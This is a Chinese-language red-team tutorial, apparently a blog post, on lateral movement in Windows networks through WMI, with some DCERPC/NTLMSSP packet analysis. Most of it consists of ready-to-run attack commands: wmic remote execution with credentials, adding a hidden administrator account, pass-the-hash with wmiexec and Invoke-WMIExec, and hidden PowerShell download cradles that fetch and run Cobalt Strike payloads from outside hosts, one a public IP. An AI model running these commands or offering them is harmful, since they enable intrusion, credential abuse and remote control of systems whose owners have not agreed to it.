利用WMI横向移动

一. WMI介绍和使用

1. WMI介绍

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用WMI 进行攻击。

但是微软于 2016 年在 Windows Server 中弃用了 WMIC;于 2021 年在 Windows 10 系统中弃用了 WMIC,而且自 Windows 11 的下个版本开始,后续版本将默认禁用该工具。最终,微软将从未来的 Windows 版本中移除 WMIC。

微软用 Windows PowerShell for WMI 取代了 WMIC(WMIC 和 WMI 是两码事),为管理员提供了一种更有效的方式来查询 Windows Management Instrumentation。

但是在内网中还是有大部分使用的是server 2016之前的版本,所有该方法还有效!

2. 使用方法
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" 
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

其实命令还有很多...

二. RPC协议分析 - OXIDResolve接口

DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战相应,甚至还能获取网卡IP地址列表。

接下来分析一下RPC协议中都包含了什么内容,这个对于进行安全研究有着很大的帮助!

    1. 首先使用WMI进行远程连接机器然后抓包分析
    1. 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
    1. 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
    1. 分析第三个数据包,利用dcom发起OXID接口的请求数据包
    1. 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等

总结

从以上数据包得知:

该接口是未授权访问(并没有使用smb进行认证,只是使用RDP调用了OXID接口)
可以得到目标机器的相关信息(机器名IP多网卡等)

该技术应用非常广泛,如今FOFA GOBY ,国内红队大部分扫描器就都开始集成这个功能,甚至集成到了CS还有很多人写的脚本

三. RPC协议分析 - NTLMSSP协议

NtLmSsp这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NtLmSsp就可向这一类RPC提供安全服务。

接着分析数据包:

  • 1.第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型

    1. 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
    1. 第三个数据包:第三个数据包是response值,用于认证
    1. 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用

四. WMI横向的利用条件

使用条件如下:

1、wmic命令需要本地管理员或域管理员权限(有UAC也可以)

2、135端口开放

3、开放445(某些脚本需要借助SMB认证)

五. 利用WMI众多工具进行CS上线

1、直接利用自带的wmic的命名上线
  • 第一步:先在本地用python开启一个http服务,,方便接下来测试CS上线

    命令:

    wmic /NODE:192.168.41.20 /user:administrator /password:Admin123 PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))""

成功上线

2. wmicexec工具

使用方法:

wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP 

其实工具上线步骤都相同

先上传WMICEXEC

后输入

wmiexec.exe administrator:Admin123@192.168.41.20 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

该工具因为还走了一些SMB认证和访问共享等行为,杀软会拦截

3. wmiexec.vbs脚本

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

使用方法:

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令" 
上线:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.20 administrator Admin123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"
4. Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下:

Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" --verbo

步骤

powershell-import powershell/Invoke-WMIExec.ps1
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose


相关推荐
鸭梨山大。1 小时前
Jenkins 任意文件读取(CVE-2024-23897)修复及复现
安全·中间件·jenkins
黑客老陈2 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
代码改变世界ctw8 小时前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
WTT001110 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
群联云防护小杜13 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai13 小时前
HTTP协议及安全防范
网络协议·安全·http
蜜獾云14 小时前
linux firewalld 命令详解
linux·运维·服务器·网络·windows·网络安全·firewalld
黑客Jack14 小时前
防御 XSS 的七条原则
安全·web安全·xss
云云32115 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
神一样的老师16 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构